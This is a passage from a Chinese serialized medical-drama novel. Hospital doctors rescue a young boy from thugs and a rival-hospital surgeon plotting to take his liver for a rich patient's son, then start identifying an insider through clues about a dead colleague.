“不过我有一个问题。”一个实习生真诚发言,“这么多领导在,为什么只有咱们主任坐着,他不怕得罪领导吗?” 另一人摸了摸下巴,“看看主任的下巴。” “不好看,咋了?” “我让你看他的胡子!都白了!” “哦,白得也不好看呀。” “……他是返聘的!返聘!!他怕谁!!” 目光清澈的实习生们集体恍然大悟。 办公室内的汤兴生备受煎熬。 韦初雪这个院当然出不成了,她非但不能出院,还被迫和领导们挨个谈心,所有人都劝她去首都做手术,切除脑瘤。 她年轻,未来还有无限可能。 韦初雪坚定地拒绝。 祁念珍把她送回病房,“我知道你的顾虑,南栀都和我汇报过了。” 韦初雪有些惊讶。 这种事,她不敢和汤兴生说。 祁念珍说:“我知道,你是太内疚,你认为是你欠考虑,把事情告诉韦利,葛晓凡才会死。” 韦初雪低下头。 这些年她每次想起自己的愚蠢举动就夜不能寐。 韦初雪白天日日想着葛晓凡,梦到她的次数却不多,每次梦到葛晓凡,都是被她残缺的身体追着跑,她恨韦初雪,她让她偿命。 祁念珍道:“但我们也该考虑到,你的身份特殊,对你来说,韦总是值得信任的父亲,你们关系亲密,你相信父亲不是你的错,你的做法或许欠考虑,或许对事情有影响,但最终错的还是他们。你可以记住葛晓凡,但不要惩罚自己,与其惩罚自己,不如多看几个病人,你说呢?” 韦初雪眼睛红润,小声说:“我都不能理解自己,为什么会去找他说这件事。” “是冲动了,但如果是我,我会怪的是他们,我相信其他人也一样,包括晓凡。我以前见过她,是你带过来的,晓凡看起来是个挺普通的姑娘,但是学习成绩很好,我听医科大学的老师提过。我相信她不会怨恨你,她是真的把你当成朋友。” 不然也不会在有韦利的情况下,还把这件事告诉韦初雪。 可这就是韦初雪最无法释怀的。 祁念珍说:“你一直在怪自己多嘴,但你有想过,葛晓凡的调查会不会惊动他们吗?我可是听南栀提到了很多葛晓凡找到的证据。” 韦初雪神色迷茫,“会吗?” “说实话,不惊动的可能性太小,所以你的‘泄密’,可能是加速了事情发展,但你绝对不是罪魁祸首。”祁念珍停下脚步,温柔道,“这件事我们已经知道了,我作为领导,责无旁贷,如果要揭发,也是由我来。葛晓凡的死亡真相不会被掩埋,你担心的事不会发生,安心去治病,你去首都,韦总也会去,说实话,韦总不在,我们行动会方便很多。” 韦初雪怔住良久,最终缓缓点头,“我明白了,我把他带走。” 病房里,韦利和范雯华都在。 韦初雪擦干眼泪,没和他们说话,反倒是祁念珍心平气和地与他们寒暄。 韦初雪想,她需要向祁念珍学的地方还有很多。 祁念珍走后,韦利 拄着拐杖走过来。 范雯华说:“小雪,你爸爸的身体真的很不好,不要再和他置气了,好吗?很多事情都是你误会了。” 韦利讨好地看着韦初雪。 韦初雪不忍心看他们,一直望着窗外,“你们希望我去治病,是吗?” “当然希望,只是你提的要求……小雪,爸爸可能活不了几年了。” 韦初雪说:“我可以去首都,我会接受手术,接受你们的安排,但是,我要知道薛宇的情况。” 韦利为难地看着她。 韦初雪道:“薛宇还那么小,他的器官甚至都还没发育好,我只想救这一个人,其他人我不管。” 韦利看向范雯华,范雯华瞪了他两眼。 外人的事能比女儿更重要? 韦利无奈道:“小松,你可能不记得了,是爸爸合作伙伴的孩子,病得真的很严重,就算换了肝,也不一定能活多久。” 韦初雪越听越心凉,“那还要对薛宇下手?!” “没办法,”韦利说,“小松的爸爸妈妈结婚后怀孕一直困难,好不容易有的孩子,他们太爱他了,无论如何都要为他争取最好的治疗,你说的那个孩子是最好的选择。” 韦初雪忽然明白了。 他们不是不知道肝移植的配型要求,也知道就算做手术,可能结果还是不如意。 他们什么都明白,只不过,他们只在意自己。 他们认为有钱便能高高在上,甚至高于生命。 韦初雪说:“所以,他们还是不打算放过薛宇,即便被发现,他们也想让小松活下去,对吗?” * 南栀吃过饭,还能再休息十几分钟。 她没忘记自己的目标,吃过饭后又开始研究脑室穿刺术。 阮乔本来是想休息的,一看到南栀的状态就疯了,“我真不想和你做同事!真的不想!” 太卷了,实在太卷了! 她认命地翻开南栀给她的资料,无声落泪,“谁和你做同事,真是倒了大霉!” 根本就没有休息的时间! 南栀都不会累的吗? 阮乔坐到南栀旁边,遇到不懂的地方还能顺便问问南栀。 如果她念书时,每个老师都能和南栀的讲课方式一样,她都不敢想象自己的成绩会有多好。 南栀念了五六分钟,办公室的电话响起来。 实习生去接电话,然后把话筒递给南栀,“是韦医生。” 南栀拿起话筒。 韦初雪声音急切,“南栀,我找不到箫珵和陆随,韦宁雨那边也不接电话,你能不能找几个人一起去看看薛宇,他们真是疯了,还没放弃。我爸手底下有几个做脏事的,他们也不会少!” 第70章 第70章好吃 南栀接到韦初雪的电话后便尝试联系屠秋柳,商店老板告诉南栀,薛宇的父母都去上班了,薛宇正在家附近和小朋友们一起玩。 他一边和南栀解释还一边喊:“死兔崽子,别把泥巴糊我家墙上!不准撒尿和泥巴!!” 南栀和陆随昨天都已经叮嘱过屠秋柳,不知为何她没找人看着孩子。 薛宇一个人在外面玩,没人看着,实在不太安全。 韦初雪说小松的病很严重,父母为了孩子的病已经着了魔,什么都不顾了。 南栀挂断电话,对阮乔说:“下午找个人替我吧,我先去薛宇家看看,把孩子带回来待一下午。” 南栀还记得祁念珍的话,不能自己去找人,便尝试给心外的办公室打电话。 心外的闫民怀告诉她,箫珵在诊室,陆随趁着中午去输液了。 现在俩人都靠不上。 南栀便给祁念珍打去电话,祁念珍倒是同意她去找人,但要她拉个壮丁一起去。 儿科办公室人虽然多,男壮丁还真挺少,南栀找来找去,正好遇见来看姐姐和外甥的郁格。 郁格一看见南栀就发誓,“南医生,我这段时间都有好好关心我姐,她的三餐都是我做的,完全按照医院的要求,一直给她补充营养!” 南栀:“……” 孩子都被陆随和箫珵PUA成什么样了。 他俩也很奇怪,平时对患者家属的态度都很好,怎么偏偏对郁格态度一般? 南栀表明自己的请求,“这一趟过去,可能会遇到危险,也可能不会遇到危险,你拒绝我是应该的,不会影响你姐姐和你外甥。” 郁格昂首挺胸,指了指肩膀,“看看这是什么?” 南栀看了一会儿,如实道:“破了口子的衣服。” 郁格:“……” 他用帽子遮住衣服上的破洞,“我是消防员!我当过兵的!保护老百姓就是我的职责,我当然要陪你去!” 南栀十分感动,“如果衣服没破就更好了!” 来医院的实习生都是大学生,其实年纪比南栀还要大,但考虑到刚进入的学生还比较单纯,南栀没叫他们。 她安排好下午的工作后,才和郁格一起去找薛宇。 没有陆随开车,南栀出了医院就招手打车。 郁格惋惜道:“太奢侈了,我有自行车,我带你过去?” 南栀说:“时间紧急,我下午还得赶回来上班。” 郁格这才跟着她一起上车。 在车上,南栀简单解释了他们可能会遇到的人。 郁格听说过这号人,“有几伙人是挺猖狂的,说是背后有什么什么集团,看着像是正经企业的员工,其实都是打手,还有开赌厅营业的,我战友里有警察,我听他们说过。” 出租车司机见多识广,插话道:“你们还不知道临川市谁最牛吧?有个姓乔的老总,卖电子产品的,听着挺正规,其实他最开始就是街边的混混,那地盘和生意都是靠打出来的,他手底下的人还到处收保护费呢。” 南栀问:“有姓韦的老总吗?” “这就没听说过了,他们这些人啊,赚点儿钱牛哄哄的,都不干净!” 中午这会儿路上几乎没车,出租车司机一路飙车,很快来到薛宇家附近。 薛宇家是平房,虽然每个房子都有编号,但不如楼房好找。 南栀和郁格一边打听一边找,还没找到薛宇,就看见有几个穿西装的人在附近转悠。 西装有灰色还有暗红色,里面配的衬 衫都花里胡哨的,还戴墨镜。 郁格拽了拽南栀,“这种打扮的,一般都不是什么好人。” 南栀也瞧出来了。 和电视里演得很像。 但现在就流行港城风格了吗??是不是早了几年?? 南栀:“感谢电视剧,教会我们辨认坏人。” 两人低调地继续找。 只要在他们找到薛宇之前,先把人带走,就还有机会。 就在这时,一个花衬衫忽然叫住他们,“喂,那俩人,停一下!” * 陆随撑着下巴盯着点滴数数。 来到这里后,他接受的治疗都数不过来,先是体验糖尿病和被烧伤,后来又得复健,现在身体还没完全恢复好,动不动就感冒。 以前跟着教授在医院实习时,陆随对待患者相对冷漠,现在越来越如沐春风。 生病的感觉真不好受。 陆随闲得无聊,还带了一本英语字典和英文论文,没事翻译翻译论文,给自己找点儿事情做。 有护士来给陆随送热毛巾,“陆医生,儿科的南医生叮嘱我们了,要帮你换热毛巾,南医生对你可真好。” 陆随压下翘起来的唇角,冷静点头,“谢谢,麻烦了,有需要帮忙可以找我。” “不用不用,”护士说,“南医生把韦宁雨送给我们了,我们感谢她还来不及呢。” 陆随:“?” “你不知道吗?韦宁雨的打针技术特别好,多刁钻的血管他都能一针见血,那可是护士中的神话,他来教我们,尤其是教那些刚来的护士,我们可轻松了。” 陆随:“……” 他好像能看到韦宁雨跑来跑去的模样。 护士道:“南医生特别关心你,我刚才还听闫医生说她打电话找你呢,正好给你说一声,一会儿别忘了回电话。” “找我?”陆随问,“什么事?” “不太清楚,好像要找你一起去哪里,午休时间马上就要过了,南医生还要出门吗?” 南栀平时工作最认真,从不迟到早退,更不可能把病人放在诊室不管。 她要出门,一定是有急事。 陆随拧了下眉,抬起手,“帮我拔掉。” “啊?”护士茫然道,“还有很多药呢。” 陆随:“先不打了……算了。” 他自己扯开胶布,拔掉针头,又从护士随身带着的小板板上揭下带棉球的胶带按住,起身离开。 护士:“……” 医生是拦不住的,一点儿都拦不住的。 旁边挂水的小朋友看着陆随的动作若有所思,罪恶的爪子兴致勃勃伸向胶带。 护士:“你不行!!” 陆医生是一点儿好头都不带! * 南栀和郁格停下,都没回头,他们能听到自己砰砰砰的心跳声。 今天一整天都是阴天,没有太阳,两人却都开始流汗。 南栀开始观察四周。 人不多,但是房子挺多,嚎一嗓子或许能有人,不过喊救命肯定不行,得喊着火…… 花衬衫走过来,怼了郁格一下,“喂,我看你好像挺眼熟,你谁啊?” 郁格指了指自己,“我?眼熟?我好像不打架。” “不对不对,就是眼熟,你是条子?” 郁格茫然道:“我真不认识你,我也不是警察。” 南栀帮着说话,“他很老实的,从来不招惹别人。” 郁格:“对啊,我这星期也就打过三次架,绝对没有你。上周嘛,可能打过七八次,但应该也没你,我记性可好了。” 南栀:“……” 这个人是她叫来的吗? 南栀看向郁格,“你为什么打架?” 郁格坦然道:“肯定是他们先找事,或者有当兵的兄弟被找事,我们就去帮帮忙。” 花衬衫叫起来,“想起来了!那个警察!你是他的朋友!就你踢了我**一脚,我到现在……” 南栀拽着郁格就跑。 郁格:“干嘛要跑,他打不过我。” 南栀:“!!” 谁让他踢人家**!踢其他地方她都不跑了! 他们还没找到薛宇,郁格就先被“仇人”认出来,花衬衫一直在追他们,不仅自己追,还招呼好几个人出来追。 好在胡同巷子比较多,小路复杂,不是方方正正的,很容易能把人甩掉。 两人把人甩开,绕到一家商店前。 老板正在清理墙上的泥巴。 南栀赶紧走过去,“你好,请问屠秋柳家在附近吗?” 老板:“这帮兔崽子拿尿和泥巴,今天我非得去找他们爸妈,让他们吃皮带烧肉!!” 南栀安静等着。 老板指了个方向,“去揍他!” 顺着老板指的方向走两分钟,南栀看到一群小孩儿在玩,她一眼就认出薛宇。 薛宇在吹牛,“我在医院做了可多检查了,医生说了,我身体不好,得开刀子。” 小孩儿们:“啊~” 薛宇:“我妈说了,医生让开刀,那就得开刀,我开刀的时候,可是一声都没哭。” 小孩儿们:“哇!” 薛宇:“我都能看见刀子在我身上划开!” 小孩儿们把他们的“小英雄”捧起来。 一个女孩弱弱道:“开刀是要麻醉的。” 薛宇:“……” “我是谁?我才不需要麻醉!!医生都夸我牛!” 南栀:“……” 郁格羡慕道:“我要有这厚脸皮,还能说不上媳妇?” 南栀说:“我脸皮薄,厚不起来。” 郁格看南栀,那是哪方面都很好,他顺着南栀的话说道:“肯定呀,你人多好,医术也好。” 南栀:“那倒是,应该找不到比我更好的了。” 郁格:“……” 怎么说呢,南栀的脸皮还是能和薛宇碰一碰的……吧。 郁格:“你说得对!” 南栀朝薛宇走去。 她还没说话,眼睛贼好的薛宇就看到了她,他大喊道:“打针怪来了!” 南栀:“胡说!我根本不打针!” 小朋友们一哄而散。 郁格头疼道:“看到医生有什么好跑的?早知道我今天穿制服了,小朋友比较喜欢摸我的制服。” 南栀没回答,她从口袋里取出一块奶糖。 箫珵和陆随总是投喂她各种糖,她吃不了,就在兜里揣几块,随机喂给低血糖的患者。 奶糖一出,一哄而散的小朋友又聚了回来。 南栀满意地点点头。 她把口袋里的糖分给小朋友,然后揪住薛宇命运的衣领。 正在抢糖的薛宇:“?” 南栀笑眯眯道:“走,回去打针。” 薛宇浑身一哆嗦,小英雄流下恐惧的泪水。 附近传来跑步声,还有人在安排去向,“小兆,你去那边看看,把田医生叫过来,他认识,咱们只见过照片,可能认不出来。” 果然是恩德医院的人。 南栀看向郁格,“我有个主意。” 郁格:“?” 南栀:“情况紧急,必须有人牺牲,要有人引开他们,我是薛宇的医生,我……” 郁格十分感动,“那怎么行!我是男人,我去引!” 南栀:“当然是你引啦,难不成我去?” 郁格:“……” 南栀:“快去吧,再见。” 郁格:“……” 这不对啊? * 田宏在附近跑了好几圈了,越跑越气。 “咱临川市还有这种地方??为什么不扒了?!连个房子都找不到!你看看,这还有把号码牌摘了的,没人管管吗?!” 几个花衬衫安慰道:“田医生,您别着急,肯定能找到人。” “我能不着急吗?!再找不到人就来不及了,人都快死了!” 花衬衫对视一眼,没说什么。 田宏还穿着白大褂。 他把衣服脱下来,以免弄脏。 收拾白大褂时刚好看到一个蹑手蹑脚的熟悉身影。 南栀抱着个孩子,正贴着墙根往前挪。 她怕被人看到, 还给孩子盖上了花布,这布料看起来是做过年的衣裳的,喜庆且显眼。 南栀挪到一个大水缸旁蹲下。 田宏嘴角冲动,“她是不是觉得自己特聪明?” 花衬衫道:“刚刚我看见她了,和一个消防在一起,消防不在。” 田宏冷笑,“这还用说?肯定是让消防把人引开,她躲在这里,等我们被引走,她就把人带走。康宁医院这帮王八蛋,天天和我们作对,居然还来抢人!别管那个消防,把她按住!” 几人向南栀逼近。 南栀鬼鬼祟祟地探头,专心致志看着相反的方向。 田宏在心里骂了好几声蠢货,顺便问候陆随。 在学校时看着挺聪明的,就天天和这种蠢货混在一起。 南栀正看着远处,头顶忽然被阴影覆盖。 她抬起头,三个脑袋出现在她头顶,还朝她咧嘴笑。 南栀沉默了一会儿,说:“太丑了,可以不笑吗?我害怕。” 田宏:“……” 花衬衫:“……” 两个花衬衫抓住暴走的田宏,“你这是害怕?!你这是害怕吗!!” 花衬衫:“田医生,冷静,正事要紧。” 南栀又看向花衬衫,“暗红色的西装和粉色花衬衫不太配,可以换一件衬衫吗?” 这回轮到田宏拦花衬衫,“冷静,冷静!正事要紧!” 田宏朝南栀伸手,“把孩子给我。” 南栀看了田宏的手一会儿,很无奈,“你伸手要孩子,我该把孩子放在你手心里吗?” 田宏:“……” 他收回手。 南栀:“不要啦?” 田宏又伸出手。 南栀:“你伸手……” 田宏:“闭嘴!闭嘴!你快闭嘴!” 南栀老老实实地不说话了。 田宏:“快点儿啊!又哑巴了?!” 南栀责怪道:“你一会儿让我闭嘴,一会儿又说我哑巴,你怎么阴晴不定的,你到底想干嘛?” 她看向两个花衬衫,“大哥,你们说他是不是有毛病?” 花衬衫刚想点头,就看到田宏暴躁的目光,赶紧摇头,“田医生,你别和她废话了,她看起来脑子有点儿问题。” 田宏弯腰,一把扯掉花布,“她就是脑子有问题!还拿花布盖着!你是生怕不知道你带着孩子跑了是吧?!赶紧把人还回来,赶紧……” 花布被扯掉,田宏看到一个巨大的黑乎乎的毛绒玩具。 南栀为难道:“田医生喜欢毛绒玩具啊,这个是小朋友的,我不能做主送给你,你知道这个大小的毛绒玩具很少见的,我找了好久才找到。” 田宏:“……” 南栀:“你如果实在想玩,你就拿去玩一会儿。” 她依依不舍地把毛绒玩具递给田宏,“记得要洗一洗啊。” 田宏:“……” 他很想掐自己的人中。 “薛宇呢?薛宇去哪了?!” 南栀耸肩,“打车走了吧,现在去追,可能还来得及。” 田宏看向花衬衫,“不是说那个消防是一个人走的?!” 花衬衫委屈巴巴:“是啊。” 是一个人走的啊,没带着孩子啊?? 南栀好心解释,“他们对薛宇不熟。” 田宏:“?” 南栀:“所以薛宇自己走就好了呀。” 田宏:“……” “不是都有照片吗?!!” 花衬衫们更委屈,他们是真的没看到啊! 南栀比画道:“他们刚刚在玩泥巴,脸上身上可能都有泥巴,他们没看清吧?而且小孩子嘛,总是有些小路可以钻,看时间的话……” 南栀抬起手腕……没表。 她抓住田宏的手腕看了眼时间,然后老实巴交道:“现在应该已经走了,来不及了。” 田宏:“!!” 花衬衫们很气,其中一个人揪住南栀的领子,“我看你Tm就是故意的!” 花衬衫的拳头还没挥下来,身后便传来微喘的声音,“南医生。” 南栀偏头看去,是陆随。 陆随脸颊有些红,额头还有汗水,他淡定地走过来,“这几位是?准备打人?我喊商店老板报警,隔壁街就有派出所,过来不用五分钟。” 花衬衫们开始犹豫。 田宏看到陆随更加暴躁,“你们抢人你们还要报警?!陆随你就是不要脸!你报啊!你去报!你把警察找来,我倒要看看……” 花衬衫们把田宏的嘴捂住,“先走!” 孩子已经被带走,没必要留下。 张牙舞爪的田宏只能发出“呜呜”声。 他们一走,陆随赶快走过来扶起南栀,“怎么不去叫我?” 南栀道:“你在打针嘛,打完了?” 南栀看到陆随瘀青的手背。 “护士技术不太好哦,”南栀道,“以后让韦宁雨给你打针?” 陆随无奈,“那也该去叫我,一个人过来,遇到危险怎么办?” “我不是一个人啊,”南栀说,“我和郁格一起来的,他是消防员,以前当过兵。” 陆随:“……” “哦,郁格啊。” 南栀:“他还经常打架呢,应该挺厉害的,其实叫他来更好。” 陆随挑眉,“更好?” 南栀没察觉到异常,“对呀,他能打架啊。” 陆随:“哦。” 陆随是开车来的,南栀坐陆随的车一起回医院,现在回去,南栀还能去门诊。 郁格已经把薛宇带到医院,阮乔将他带到手术室,手术室可以洗澡,她得把薛宇脸上的泥巴洗掉。 门诊结束,南栀几人凑到一起。 为了避人耳目,他们特意选在远离医院的饭馆。 南栀说:“田宏今天的表现不太正常,这件事是什么性质,他们的人应该明白,但是田宏好像不怕报警。他可能真的认为是我们在抢人。” 阮乔吭哧吭哧挑炸鱼的鱼刺。 箫珵道:“但是田宏是腹部外科的人,又去找薛宇,应该是沙永昌信任的人。” 韦宁雨问:“腹部外科还有别人吗?” “还有副主任杜凡和于波。” “副主任应该是沙永昌的人,不然不能升到副主任,这个于波……我好像认识,挺憨厚的一个人,可以去找他试试看。” 南栀看向陆随,“你说呢?” 陆随漫不经心地喝茶水,“不知道,问郁格。” 南栀:“?” 陆随微笑,“反正我不太行,他比较行。” 南栀:“……” 箫珵和韦宁雨凑到一起,“他吃错药了?” 箫珵:“他每天都不正常,今天格外不正常。” 韦宁雨说:“我今天都去教人家打针了,你怎么打一半就跑了?那护士和我抱怨半天,说你也没回去打完。” 南栀想到陆随手背的瘀青。 原来学长还没打完就去找她了? 南栀心里甜蜜蜜的,正要道谢,陆随就说:“哦,我出去看风景了。” 南栀:“……” 阮乔低声问:“你招惹陆医生了?” 南栀:“我怎么会。” 她可照顾学长了。 南栀讨好道:“今天谢谢你哦,幸好你来了,不然他们得打我。” 虽然已经提前和商店老板打过招呼,但挨两下揍是肯定的。 陆随怪声怪气,“别谢我,多亏了郁格,他比较厉害。” 阮乔:“……” 箫珵低声解释,“今天南栀和郁格一起去找薛宇的。” 阮乔:“哦,吃醋了。” 韦宁雨嘀咕道:“谈个恋爱真麻烦。” 阮乔:“你不用怕,反正也没人和你谈恋爱。” 韦宁雨:“……” 箫珵道:“今天陆随是拔针过去的,南栀怎么也得安慰几句,安慰几句就好了。” 南栀果然不负众望,“也是,那我找机会去谢谢郁格,要不要给他送点儿礼物啊?” 南栀对自己越来越懂人情世故很满意。 陆随:“……” 箫珵&阮乔:“……” 餐桌上诡异地安静了一分钟。 南 栀看看陆随,又看看箫珵。 她做得不对吗? 阮乔:“吃菜,都吃菜,咳,多点几道菜,萧医生说他请客。” 今天盛昭云不在。 自从她开始代理主任的工作,就忙得脚不沾地,每天都是暴躁的状态。 祁念珍已经安抚过她好几次。 据说祁念珍刚做主任时,和盛昭云的状态差不多。 不过盛昭云人虽然没来,却送给他们一张恩德医院腹部外科的排班表。 箫珵商量道:“吃完了可以去偷偷看看这几个人,这个杜凡下班比较早,于波应该在。” 南栀迅速啃完一个大鸡腿。 饭馆的菜式不多,箫珵点的菜都很实在,全都是肉菜,很合南栀的心意。 在家里吃蔬菜更多,南栀在举水瓶时,时常觉得蛋白质没吃够。 几人都不喝酒,一个小时解决晚饭,然后约着去恩德医院附近转转。 南栀主动邀请陆随,“我们一起去研究研究于波?晚上还得再和屠秋柳谈谈,今天差点儿就出事了。” 陆随笑笑,“我吗?我去不合适,太弱,你去找郁格喽。” 箫珵扶额。 阮乔低声问:“陆医生超过五岁了吗?” 韦宁雨:“最多三岁。” 箫珵愁道:“南栀再不夸陆随几句,他都能回娘胎里。” 南栀说:“今晚不需要打架啊,我们去就行。” 三人再次沉默。 阮乔把南栀拽到一旁,“你和郁格一起去,陆医生生气了!” 南栀不太懂,“这有什么好生气的,是我在麻烦郁格啊。” “这……”阮乔也想不明白,南栀是在保证自己的安全,确实是麻烦郁格。 “你不是说什么话惹陆医生生气了?” 南栀保证道:“绝对没有,我不可能说这种话。” 阮乔看着南栀的眼睛,“你看我信吗?” 南栀:“……” 她真冤。 阮乔又问:“陆医生为什么总说自己弱?” 南栀道:“郁格是退伍军人,打架挺厉害的。” 阮乔明白了,问题肯定出在这里。 南栀不知不觉又把人得罪了。 南栀补充道:“那确实是郁格更厉害一点,我说的是实话。” 阮乔:“……” 她摸摸南栀的头,“乖,和我一起单身一辈子吧。” 和屠秋柳谈话这事,由阮乔和韦宁雨负责,南栀三人直奔恩德医院。 现在最好的办法,其实就是把屠秋柳带过来,几人躲在阴暗角落,等腹部外科的医生们下班,看看到底是哪个医生来提醒的。 但是今天薛宇遇到这种事,屠秋柳情绪波动很大,不太合适。 箫珵找到一个烧烤摊,正好能观察到恩德医院大门口,点上烧烤留在这里也不显眼。 只不过毕竟是烧烤摊,离医院有点儿远。 南栀拿着几串烧烤向医院大门靠拢。 医院门口大多是患者,但也有医生,箫珵和陆随是不认得他们的。 箫珵看着不远处蹲在树后的南栀,踢了陆随一脚,“去啊。” 陆随:“?” “南栀一个人多危险。” 陆随:“哦,叫郁格去呗。” 箫珵扬起啤酒瓶,“你看我像南栀吗?” 陆随:“……” 他起身,“这是你逼我去的。” 陆随顺手带走两串烤鸡翅。 他走到南栀旁边,把烤鸡翅递给她。 南栀:“我已经吃饱了,办正事要紧……恩,真香。” 两人蹲在树旁快乐地吃烧烤。 南栀把鸡翅吃干抹净,往医院门口瞟了一眼,看到杜凡拎着公文包往外走。 他年近四十,国字脸,五官周正,但一直锁着眉,看起来不好接近。 南栀问:“你看他像吗?” 陆随:“不知道。” 南栀想了想,捶了脚踝几下,然后把铁签交给陆随,接着晃晃悠悠往路上走,直奔杜凡。 陆随都没来得及拦着。 他拧眉看着南栀,杜凡已经走过来,他不方便跟上去。 南栀直接冲过去,实在鲁莽,今天她已经和田宏几人打过照面,恩德医院肯定有防备,杜凡如果是他们的人,肯定知道南栀这么一号人。 陆随不知道南栀打算和杜凡说什么。 好像说什么都不妥? 陆随正思考,便看到南栀晃悠到杜凡面前,然后倒了下去。 她指着脚踝说:“崴了,站不起来,需要去急诊吗?” 演技奇差。 杜凡看了南栀一眼,绕开她,指着急诊楼说道:“在那边。” 南栀道:“能扶我一把吗?” 杜凡丢下一句“没时间”便匆匆离开。 陆随快步走过去,把南栀拉起来。 “扶一把都不行,他是不是认出我了?” 陆随说:“就算认出你,扶一把也没什么大碍吧?” 只能说杜凡这人不太热心肠。 南栀又把金瑞找过来打听两个医生的情况。 金瑞很为难,“我今天答应老婆了,早点儿回去,她总埋怨我不带孩子。” 他看了一眼烧烤。 金瑞:“真的不太好,我加班好几天了。” 他又看了一眼烧烤。 “其实这个事情吧,怎么说呢……” 箫珵问:“你说要回家,坐下来干嘛?” 陆随问:“好吃吗?” 金瑞连连点头,“五花肉就是好吃!再点几串,我要给我老婆带回去。” 财大气粗的陆随又要了一把烤串。 金瑞专心致志地吃了十来分钟。 陆随:“……” 南栀问:“你和杜凡认识吗?还有于波,他们两个人怎么样?” 金瑞又拿起一串烤五花肉。 箫珵把烤串抢走,“问你话呢,光知道吃。” 金瑞嚼了半天才咽下去,“这不是太久没吃到美味了吗?让我想想,杜凡……这是医院的老人了,我和他有过交集,人一般吧,挺古板的,他这个副主任的位置完全靠巴结沙永昌,咳,别说是我说的。” “看来他是沙永昌的人了。” “那肯定是,都是一个科室的。还有谁?于波?于波……这个我不认识,但是听别人提过几句,挺随和的人,心眼不多。” 南栀问:“他也是沙永昌的人吗?” “肯定啊,”金瑞说,“像我这种正直的医生,不和主任同流合污的医生不多了。” 陆随:“……” 陆随看向箫珵,“我怎么觉得金主任的脸皮也变厚了?” 箫珵耸肩,“我周围都是这种人,习惯了。” 比如南栀啊,陆随啊,夸奖自己时都不吝啬。 陆随不赞同,“这不一样,我说的是实话。” 箫珵:“……” 瞧,脸皮多厚。 杜凡和于波都是沙永昌的人,而且都说方言,但哪个是去提醒屠秋柳的,还是没法肯定。 杜凡看起来也不算老,五官周正,挺显年轻。 箫珵愁道:“要分清人只能靠屠秋柳,或者我们干脆直接去问他们,反正已经打草惊蛇了。” 陆随说:“他们是人,不是傻子,什么证据都还没有,谁会愿意得罪主任?” 金瑞凑过来,“正义的我啊。” 陆随:“……” 脸皮是有点儿厚了。 南栀一直举着烤鸡翅,盯着看了很久。 南栀不吃肉,必有重大发现。 箫珵又递给南栀一串蒜瓣肉,“想到什么了?” 南栀没头没尾道:“什么时候出血的?” 三人看过来。 南栀说:“我是说葛晓凡工牌上的血迹,她是坠楼,血迹是什么时候有的?” “坠楼后呗。” 南栀道:“坠楼后,特意把工牌拿出来,然后印上血迹?” “不是说为了指证医院吗?” 南栀说:“可我记得她是坠楼后立刻死亡。” 金瑞问:“那么高的楼,立刻死亡的可能性比较大,不过或许也能挣扎挣扎?我们都不是刑警,也不清楚这事,谁去试试?” 箫珵:“……” 陆随道:“实践出真知,金主任是个好医生,还是金主任试试吧。” 金瑞这才反应过来,“哦对,摔下来就死了。” “还是不对,”南栀比画道,“就算她是跳下来后出血,在那种情况下,她去摸血迹,更可能是整个工牌上都有血迹。” “那就是故意沾少量血迹,比如只有一个手指头沾,应该能做到。” 南栀笑笑,“那就更怪了,抓住工牌就能指认医院,需要特别注意吗?” 陆随道:“你的意思是……” 南栀点头,“我认为我们可以先去打听打听他的情况,可以找祁院长帮忙。” 箫珵和金瑞像两个傻子,“啊?什么?啥?” 陆随起身去给祁念珍打电话。 南栀也想去,被箫珵按住不准动,“说清楚!” 南栀只能留下来解释,“我觉得葛晓凡不是在 抓工牌,她是在指工牌上的字。” 箫珵冥思苦想,“血迹是在‘凡’字上,所以……杜凡?” 南栀点头。 “会是杜凡?”金瑞不赞同,“他可是个不好相处的人,而且他绝对听沙主任的话,这事在我们医院早都传开了,杜凡大小是个副主任,每天都跟在沙主任屁股后做事,有的时候还会去帮沙主任做倒水这点儿小事,其实大家都挺瞧不起他的。” 南栀说:“那就不太清楚了,人嘛,都很复杂。” 陆随打完电话走过来,“祁院长帮我们打听过了,杜凡有两个儿子一个女儿,女儿一出生就有先天性心脏病,病情比较严重,现在还在治疗中。而且他的兄弟姐妹都意外去世了,他一个人给父母养老,虽然是副主任,但是很拮据。” “祁院长还说,杜凡曾接受过沙永昌大量金钱援助。”【魔蝎小说 mo xie xs .c om】 70-80 第71章 第71章举报 杜凡虽然是副主任医师,但家庭特殊,经济条件很差。 尤其是他的女儿,出生后就做了手术,这几年经常往医院跑,每次来都是一大笔费用。 但这事竟然没几个同事知道。 好在祁念珍很给力,认识的人比较多,向一个巡回护士打听到些情况。 “他的女儿是在恩德的心外科治疗的,从确诊开始都是送到心外去,心外的主任亲自上台,只有少数几个人知情。杜凡性格内向,脾气古怪,与他熟悉的医生不多,整个恩德医院就心外和腹部外科的几个人知道这件事。” 金瑞继续嚼嚼嚼,“瞒着就是不干好事,恩德医院哦,算是完蛋了。” 箫珵提醒道:“我们在讨论你们医院。” “哦,是,”金瑞说,“恩德医院里除了我的科室,算是完蛋了。萧医生,能再点两个鸡翅吗,不放辣椒,我孩子喜欢吃。” 箫珵:“……” 他记得金主任以前不是这样的。 陆随敲了敲桌子,提醒南栀,“祁院长说了,剩下的事她来解决,像今天下午的事,不能再发生。” 南栀道:“还不能确定就是杜凡,就算是,祁院长会去说服杜凡吗?” 还是他们去找证据更保险。 陆随不赞同,“今天下午的场面你已经看到了,这次侥幸躲过,下次怎么办?祁院长起码有人脉,你有说服杜凡的方法吗?” “他女儿病得不是很严重吗?”南栀提醒道,“她是在心外科就诊的诶。” 现场不就有两个心外医生吗? * 恩德医院最近的日子不太平,风波不断。 先是儿科的霍勉出事,被迫离开恩德医院,用同事们的话说,他是被分配到乡下了,找关系都不管用。 接着又是康宁医院接诊几名疑难杂症患儿,还有陆嘉述开门诊,反观恩德医院的儿科,好像一蹶不振。 原本医院之间也不是竞争的关系,奈何康宁医院历史最悠久,曾经也是临川市的王牌,遇上新王牌恩德医院,情况就有些微妙了。 沙永昌站在楼下抽过烟后才回办公室。 康宁医院着火后,医院领导特意交代,以后不许在办公室内抽烟。 沙永昌刚坐下,于波便匆匆走进来,面色难堪。 沙永昌示意他关门再说。 于波道:“梁总的脑子太不清醒,我刚听田宏说,昨天他叫人带田宏去找那个姓薛的孩子!” 沙永昌拧眉,“不是告诉他了,薛宇跑到康宁医院就诊,继续计划很有可能被发现?” “他太着急了,小松的情况不是很好,他认为换上最配的肝脏就能救小松一条命。” 小松的情况就算动手术,预后也一般。 沙永昌嘲讽道:“暴发户的脑子都一样,惜命,总以为什么都能拿钱买,拿钱就要买最好的,呵呵,老天爷让他死,谁都躲不过去。” 